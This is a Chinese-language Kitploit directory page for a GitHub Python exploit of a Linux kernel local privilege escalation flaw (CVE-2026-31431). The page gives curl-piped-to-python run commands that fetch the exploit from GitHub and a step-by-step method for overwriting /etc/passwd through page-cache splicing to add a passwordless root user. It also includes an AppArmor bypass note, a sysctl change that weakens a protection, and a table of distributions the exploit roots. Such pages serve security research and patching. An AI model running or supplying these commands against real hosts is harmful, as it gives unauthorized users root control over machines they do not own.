Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431 — Linux 内核本地提权漏洞 CVE-2026-31431 的 Python 实现,利用 xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 覆盖 /etc/passwd 以获取 root 权限。 | Kitploit
工具/GitHubGitHub/guiimoraes/cve-2026-31431
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试二进制利用
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Linux 内核本地提权漏洞 CVE-2026-31431 的 Python 实现,利用 xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 覆盖 /etc/passwd 以获取 root 权限。

查看仓库
33个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CopyFail2 漏洞演示

CopyFail2 (CVE-2026-31431) - Python 实现

CopyFail2 内核漏洞的 Python 移植版,利用 xfrm ESP-in-UDP MSG_SPLICE_PAGES 无 COW 快速路径,实现非特权 Linux 本地权限提升。

将 /etc/passwd 中的 nologin/false 条目替换为无密码的 uid-0 用户,并通过 su 进入 root shell。

漏洞详情

该内核缺陷位于 xfrm ESP-in-UDP 封装所使用的 UDP splice 路径中。使用 MSG_SPLICE_PAGES 将 splice() 数据写入 UDP 套接字时,页面会被映射到接收方的页缓存中,而不会触发写时复制(copy-on-write)。这使得攻击者能够写入当前映射在页缓存中的任何文件,即使该文件是以只读方式打开的。

  • 原始 C 实现:0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • 上游修复:netdev/net.git

环境要求

  • Linux 内核 >= 6.5(支持 MSG_SPLICE_PAGES UDP)
  • libcrypto.so(OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN 或具备创建用户命名空间的能力

选择哪个版本

本仓库提供两个变体。两者产生相同的结果;请根据您的约束条件选择。

快速开始(优化版)

root@kitploit:~
# 通过管道一行执行
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# 保存文件后执行
python3 exploit.py

# 还原更改
python3 exploit.py --clean

快速开始(原始/参考版)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

在启用了 apparmor_restrict_unprivileged_userns 的 Ubuntu 上,请先保存文件再从磁盘运行;管道模式会跳过 AppArmor 绕过步骤。

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

工作原理

  1. 暴力破解 AES-GCM IV,使其密钥流字节将原始 /etc/passwd 字节异或为目标值。
  2. 在 127.0.0.1:4500 上安装本地 xfrm ESP-in-UDP 状态。
  3. 构造一个攻击者控制的备份文件,其中包含伪造的 ESP 头和 ICV。
  4. 将三个范围(ESP 头、来自 /etc/passwd 的目标字节、ICV)splice() 到管道中。
  5. 将管道 splice() 到 UDP 套接字,触发内核缺陷并将字节写入页缓存。
  6. 对每个不同的字节重复此过程,将 nologin/false 行覆盖为 sick::0:0:...:/:/bin/bash。
  7. su - sick 进入 root(PAM nullok 接受空密码)。

已测试环境

故障排除

cannot acquire CAP_NET_ADMIN

您的内核可能设置了 kernel.unprivileged_userns_clone=0。请启用它:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

如果在 Docker 中运行,请使用 --privileged 或 --cap-add=SYS_ADMIN 启动容器。

致谢

  • Hyunwoo Kim (imv4bel) 和 Kuan-Ting Chen — 发现漏洞并提供上游修复
  • Steffen Klassert — IPsec 维护者,发布了修复补丁
  • Brad Spengler / grsecurity — 提出 "copyfail-class" 术语
  • Theori / Xint — 原始 Copy Fail (CVE-2026-31431)
  • 原始 C 漏洞利用由 0xdeadbeefnetwork 编写
  • Python 漏洞利用由 guiimoraes 编写

免责声明

本工具仅供授权的安全研究和教育目的使用。请勿将其用于您不拥有或未经明确许可测试的系统。作者不对因使用本软件造成的滥用或损害承担任何责任。

下载工具
文件描述速度适用场景
exploit.py优化版 — 在多次变异中复用 xfrm 状态/套接字/管道,每轮批量处理 2 个连续字节,采用主动轮询而非固定休眠。99 字节行约 3–8 秒默认选择。速度快、稳定性好,已在多个发行版上测试。
exploit_raw.py参考版 — 最接近原始 C 代码。为每一个字节重新创建 xfrm 状态、套接字、管道和临时文件,每次变异固定休眠 200 毫秒。99 字节行约 30–40 秒如果您希望使用最简单的代码路径进行审计,或优化版在特定内核构建上表现异常时使用。
发行版内核结果
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-generic不受影响